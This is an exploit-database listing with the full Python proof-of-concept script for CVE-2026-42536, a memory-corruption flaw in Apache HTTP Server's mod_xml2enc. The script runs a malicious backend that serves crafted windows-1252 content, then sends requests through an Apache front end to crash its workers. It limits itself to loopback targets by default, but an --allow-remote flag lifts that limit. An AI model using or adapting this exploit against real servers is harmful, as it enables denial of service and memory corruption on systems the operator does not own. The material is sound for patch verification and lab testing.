Exploit database

GH-4c97dbaed2525df3a85c74fd598bd518

erberkan/cve-2026-42536-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-42536

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
erberkan/cve-2026-42536-pocRevision 7ef48df2c35f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 5,739 bytes
#!/usr/bin/env python3
"""Controlled crash reproducer for CVE-2026-42536.

Run only against an isolated Apache HTTP Server lab that you own or are
explicitly authorized to test. The script refuses non-loopback targets unless
--allow-remote is supplied.

Berkan Er (B3R-Sec) 12.09.2026 (Thanks to gpt-daybreak-blue-latest)
"""

import argparse
import http.client
import ipaddress
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


def is_loopback(host: str) -> bool:
    if host.lower() == "localhost":
        return True
    try:
        return ipaddress.ip_address(host).is_loopback
    except ValueError:
        return False


class PayloadHandler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self) -> None:
        # xml2StartParse advances ctx->buf past this prefix. Vulnerable builds
        # fail to subtract the same offset from the advertised output capacity.
        prefix = b"J" * self.server.skip_bytes

        # CP1252 0x80 expands from one byte to the three-byte UTF-8 encoding of
        # the euro sign. This consumes the stale capacity and corrupts memory
        # beyond the actual remaining buffer in vulnerable mod_xml2enc builds.
        expanding_data = b"\x80" * self.server.expand_bytes
        body = prefix + b"<html><body>" + expanding_data + b"</body></html>"

        self.server.request_count += 1
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=windows-1252")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt: str, *args: object) -> None:
        print("[backend] " + (fmt % args), flush=True)


class PayloadServer(ThreadingHTTPServer):
    allow_reuse_address = True


def start_backend(bind: str, port: int, skip: int, expand: int):
    server = PayloadServer((bind, port), PayloadHandler)
    server.skip_bytes = skip
    server.expand_bytes = expand
    server.request_count = 0
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server, thread


def trigger(host: str, port: int, path: str, timeout: float) -> str:
    connection = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        connection.request("GET", path, headers={"Connection": "close"})
        response = connection.getresponse()
        sample = response.read(1024)
        return f"HTTP {response.status}; received_sample={len(sample)} bytes"
    finally:
        connection.close()


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Controlled Apache mod_xml2enc crash reproducer for CVE-2026-42536"
    )
    parser.add_argument("--host", default="127.0.0.1", help="Apache front-end host")
    parser.add_argument("--port", type=int, default=18080, help="Apache front-end port")
    parser.add_argument("--path", default="/cve-2026-42536/", help="Filtered route")
    parser.add_argument(
        "--backend-bind",
        default="127.0.0.1",
        help="Address used by the malicious backend",
    )
    parser.add_argument("--backend-port", type=int, default=18081)
    parser.add_argument("--skip", type=int, default=2048)
    parser.add_argument("--expand", type=int, default=12288)
    parser.add_argument("--attempts", type=int, default=3, choices=range(1, 11))
    parser.add_argument("--timeout", type=float, default=3.0)
    parser.add_argument(
        "--allow-remote",
        action="store_true",
        help="Permit an explicitly authorized non-loopback lab target/backend",
    )
    args = parser.parse_args()

    if not 1 <= args.port <= 65535 or not 1 <= args.backend_port <= 65535:
        parser.error("ports must be between 1 and 65535")
    if not 1 <= args.skip <= 65536:
        parser.error("--skip must be between 1 and 65536")
    if not 1 <= args.expand <= 1048576:
        parser.error("--expand must be between 1 and 1048576")
    if args.timeout <= 0 or args.timeout > 30:
        parser.error("--timeout must be greater than 0 and no more than 30 seconds")
    if not args.path.startswith("/"):
        parser.error("--path must start with /")
    if not args.allow_remote and (
        not is_loopback(args.host) or not is_loopback(args.backend_bind)
    ):
        parser.error(
            "non-loopback operation is refused; use --allow-remote only in an "
            "explicitly authorized isolated lab"
        )
    return args


def main() -> int:
    args = parse_args()
    server, thread = start_backend(
        args.backend_bind, args.backend_port, args.skip, args.expand
    )
    time.sleep(0.2)

    print(
        f"backend=http://{args.backend_bind}:{args.backend_port} "
        f"skip={args.skip} expand={args.expand}"
    )
    print(f"front=http://{args.host}:{args.port}{args.path}")

    try:
        for attempt in range(1, args.attempts + 1):
            try:
                result = trigger(args.host, args.port, args.path, args.timeout)
                print(f"attempt {attempt}: {result}")
            except Exception as exc:  # A reset/timeout is expected when a worker dies.
                print(
                    f"attempt {attempt}: transport failure: "
                    f"{type(exc).__name__}: {exc}"
                )
            time.sleep(0.25)
    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=2)

    print(f"backend_requests={server.request_count}")
    print("Inspect the Apache error log and worker PID churn for crash evidence.")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())